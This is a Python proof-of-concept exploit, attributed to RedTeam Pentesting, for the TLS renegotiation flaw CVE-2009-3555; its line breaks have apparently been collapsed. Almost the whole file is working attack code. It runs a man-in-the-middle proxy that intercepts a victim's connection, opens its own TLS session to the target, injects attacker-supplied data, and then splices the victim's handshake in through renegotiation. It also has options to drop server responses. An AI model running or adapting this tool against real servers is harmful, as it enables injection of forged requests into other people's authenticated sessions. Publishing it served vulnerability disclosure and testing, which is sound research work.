#!/usr/bin/env python ###################################### # # # RedTeam Pentesting GmbH # # kontakt@redteam-pentesting.de # # http://www.redteam-pentesting.de # # # ###################################### # PoC exploit for the TLS renegotiation vulnerability (CVE-2009-3555) # License # ------- # CC-BY-SA http://creativecommons.org/licenses/by-sa/3.0/ # Timeline # -------- # 2009-12-21 initial public release # Known Issues # ------------ # Firefox: if it fails connecting to a TLS site too often, falls back to # issuing SSLv2 ClientHello only until browser is restarted # # wget: attempts SSLv2 ClientHello by default # References # ---------- # http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 # http://www.phonefactor.com/sslgap # http://www.extendedsubset.com/ # http://www.g-sec.lu/practicaltls.pdf # http://tools.ietf.org/html/draft-ietf-tls-renegotiation-01 import tlslite import tlslite.api import tlslite.messages import tlslite.constants import struct import socket import threading import array import sys import optparse if not hasattr(threading.Thread, 'name'): # emulate python 2.6 threading module for earlier versions threading.current_thread = threading.currentThread setattr(threading.Thread, 'name', property(threading.Thread.getName, threading.Thread.setName)) def forward(sock1, sock2): sock1.settimeout(1.0) while True: try: data = sock1.recv(4096) if not data: return sock2.send(data) except socket.error, ex_error: if ex_error[0] == 104: # Connection reset by peer return except socket.timeout, ex_timeout: pass class MessageWrapper(object): def __init__(self, version = (3, 1), ssl2 = False): self.contentType = tlslite.messages.ContentType.handshake self.ssl2 = ssl2 self.client_version = version def setType(self, type): self.contentType = type def addBytes(self, bytes): self.bytes = bytes def write(self, trial=False): if trial: raise Exception('Unsupported') return array.array('B', self.bytes) def send_record(sock, msg_type, version_major, version_minor, record): msg = struct.pack('!BBBH', msg_type, version_major, version_minor, len(record)) if type(record) != str: msg += record.tostring() else: msg += record sock.send(msg) def send_encapsulated(sslsock, type, messagebytes, version = (3, 1)): msg = MessageWrapper(version) msg.addBytes(struct.unpack('B'*len(messagebytes), messagebytes)) msg.setType(type) for dummy in sslsock._sendMsg(msg, True): pass def decrypt_record(sslsock, type, recordbytes): for result in sslsock._decryptRecord(type, array.array('B', recordbytes)): pass return result def recv_record(sock): try: header = sock.recv(5) if not header: return None, None, None, None msg_type, msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBBH', header) record = '' while len(record) != msg_length: record += sock.recv(msg_length - len(record)) return msg_type, msg_version_major, msg_version_minor, record except socket.error, ex: if ex[0] == 104: # Connection reset by peer return def recv_clienthello(sock): header_bytes = [] header_bytes.append(sock.recv(1)) header_bytes[0] = struct.unpack('!B', header_bytes[0])[0] if header_bytes[0] & 0x80: # Version 2.0 Client "Record Layer" header_bytes.append(sock.recv(1)) header_bytes[1] = struct.unpack('!B', header_bytes[1])[0] msg_length = (header_bytes[0] & 0x7f) << 8 | header_bytes[1] msg_version_major = 2 msg_version_minor = 0 msg_type = tlslite.constants.ContentType.handshake record = sock.recv(msg_length) else: header = sock.recv(4) msg_type = header_bytes[0] msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBH', header) record = sock.recv(msg_length) return msg_type, msg_version_major, msg_version_minor, record def send_hello_request(sock): sock.send("\x16" # Record Layer: Handshake Message +"\x03\x01" # Record Layer Version: TLS 1.0 +"\x00\x04" # Record Layer Length: 4 +"\x00" # Handshake Message Type: Hello Request +"\x00\x00\x00") # Handshake Message Length: 0 def send_protocol_version_alert(sock): sock.send("\x15" # Record Layer: Alert" +"\x03\x01" # Record Layer Version: TLS 1.0 +"\x00\x02" # Record Layer Length: 2 +"\x00" # Alert Message: fatal +"\x46") # Alert Message: protocol version def handle_victim(victim, options, mitmcount): if options.one_shot and mitmcount != 0: print threading.current_thread().name, '--one-shot specified and initial connection already handled, forwarding only' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect(options.target) print threading.current_thread().name, 'Connected to target %s:%u' % options.target except socket.error, ex: print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1]) sys.exit(1) t1 = threading.Thread(target=forward, args=(sock, victim)) t1.start() t2 = threading.Thread(target=forward, args=(victim, sock)) t2.start() t1.join() sock.close() t2.join() victim.close() return # obtain initial "client hello" message msg_type, msg_version_major, msg_version_minor, hello_msg = recv_clienthello(victim) if msg_version_major == 2: print threading.current_thread().name, "client sent SSLv2 client hello message, exiting thread" return tls_version = (msg_version_major, msg_version_minor) type, length, version_major, version_minor, random, session_id_length = struct.unpack('!B3sBB32sB', hello_msg[:39]) resume_session = (session_id_length != 0) if resume_session: print threading.current_thread().name, "client attempting to resume session" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect(options.target) print threading.current_thread().name, 'Connected to target %s:%u' % options.target except socket.error, ex: print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1]) sys.exit(1) sslsock = tlslite.api.TLSConnection(sock) handshake_settings = tlslite.HandshakeSettings.HandshakeSettings() handshake_settings.minVersion = tls_version handshake_settings.maxVersion = tls_version sslsock.handshakeClientCert(settings = handshake_settings) # inject prefix sslsock.write(options.inject) print threading.current_thread().name, 'Injected %s' % repr(options.inject) # send original "client hello" message over the encrypted channel send_encapsulated(sslsock, 22, hello_msg, tls_version) # now receive serveral TLS messages from the server, decrypt them, and forward # them to the client, until the server sends "server hello done" # these messages include "server hello", "certificate", "server key exchange", # unless the client is trying to resume a previous session print threading.current_thread().name, "about to receive server handshake messages" server_handshake_done = False while not server_handshake_done: msg_type, msg_version_major, msg_version_minor, result = recv_record(sslsock.sock) if result: result = decrypt_record(sslsock, msg_type, result) send_record(victim, msg_type, msg_version_major, msg_version_minor, result) if result[0] == 0x0e: # server hello done - should terminate handshake server_handshake_done = True elif resume_session and msg_type == 0x14: # change cipher spec - probably irrelevant server_handshake_done = True else: print threading.current_thread().name, 'receive from server failed, exiting thread' return print threading.current_thread().name, "server handshake done" # now its the the client's turn to send some messages, e.g. # "client key exchange" and "change cipher spec" print threading.current_thread().name, "about to receive client handshake messages" handshake_finished = False while not handshake_finished: msg_type, msg_version_major, msg_version_minor, record = recv_record(victim) print threading.current_thread().name, msg_type send_encapsulated(sslsock, msg_type, record, tls_version) if msg_type == 0x14: # change cipher spec handshake_finished = True print threading.current_thread().name, "client handshake done" # message after "change cipher spec" must be sent in the "clear" msg_type, msg_version_major, msg_version_minor, record = recv_record(victim) send_record(sslsock.sock, msg_type, msg_version_major, msg_version_minor, record) # server should now send "change cipher spec" message, we decrypt and send that to the victim msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock) result = decrypt_record(sslsock, msg_type, record) send_record(victim, msg_type, msg_version_major, msg_version_minor, result) # finalize handshake msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock) if record: send_record(victim, msg_type, msg_version_major, msg_version_minor, record) else: sslsock.sock.close() victim.close() del sslsock return # the rest is just forwarding TLS records between both parties, # which we cannot interfere with anymore, apart from dropping server # responses if options.drop: sslsock.sock.close() del sslsock else: t1 = threading.Thread(target=forward, args=(sslsock.sock, victim)) t1.start() t2 = threading.Thread(target=forward, args=(victim, sslsock.sock)) t2.start() if not options.drop: t1.join() sslsock.sock.close() t2.join() victim.close() if __name__ == "__main__": parser = optparse.OptionParser() parser.add_option('-l', '--listen', dest='listen_port', help='port to listen on', metavar='PORT', type='int', default=8443) parser.add_option('-b', '--bind', dest='bind_address', help='address to bind to', metavar='ADDRESS', default='0.0.0.0') parser.add_option('-t', '--target', dest='target', help='host and port to connect to', metavar='HOST:PORT' ) parser.add_option('-i', '--inject', dest='inject', help='string to inject', metavar='DATA') parser.add_option('', '--inject-file', dest='inject_file', help='inject data from a file', metavar='FILE') parser.add_option('', '--inject-base64', dest='inject_base64', help='string to inject, base64-encoded', metavar='DATA') parser.add_option('-o', '--one-shot', dest='one_shot', action='store_true', help='only mitm the first connection attempt, forward all other connections') parser.add_option('-d', '--drop-responses', dest='drop', action="store_true", default=False, help='drop server responses after renegotiating') (options, args) = parser.parse_args() if len([i for i in (options.inject, options.inject_file, options.inject_base64) if i]) != 1: print 'Exactly one injection option must be specified' sys.exit(1) if options.inject_file: try: options.inject = open(options.inject_file, 'r').read() except IOError, ex: print ex sys.exit(1) if options.inject_base64: import base64 try: options.inject = base64.decodestring(options.inject_base64) except base64.binascii.Error, ex: print 'Error decoding base64 data: %s' % ex sys.exit(1) if not options.listen_port or \ not options.bind_address or \ not options.target or \ not options.inject: parser.print_help() sys.exit(1) target = options.target.split(':') if len(target)==2: try: target[1] = int(target[1]) except ValueError: target[1] = None if len(target)!=2 or not target[0] or not target[1]: print 'Target \'%s\' not in format HOST:PORT' % options.target sys.exit(1) options.target = tuple(target) try: listensocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listensocket.bind((options.bind_address, options.listen_port)) print 'Listening on %s:%u' % (options.bind_address, options.listen_port) except socket.error, ex: print 'Couldn\'t listen on %s:%u' % (options.bind_address, options.listen_port) print 'Error code %u, \'%s\'' % (ex[0], ex[1]) sys.exit(1) listensocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listensocket.listen(5) mitmcount = 0 while True: try: victim, victimaddr = listensocket.accept() print 'New connection from %s:%u' % victimaddr threading.Thread(target=handle_victim, args=(victim, options, mitmcount)).start() mitmcount += 1 except KeyboardInterrupt, ex: print '\nAborted by user, exiting...' listensocket.close() sys.exit(1)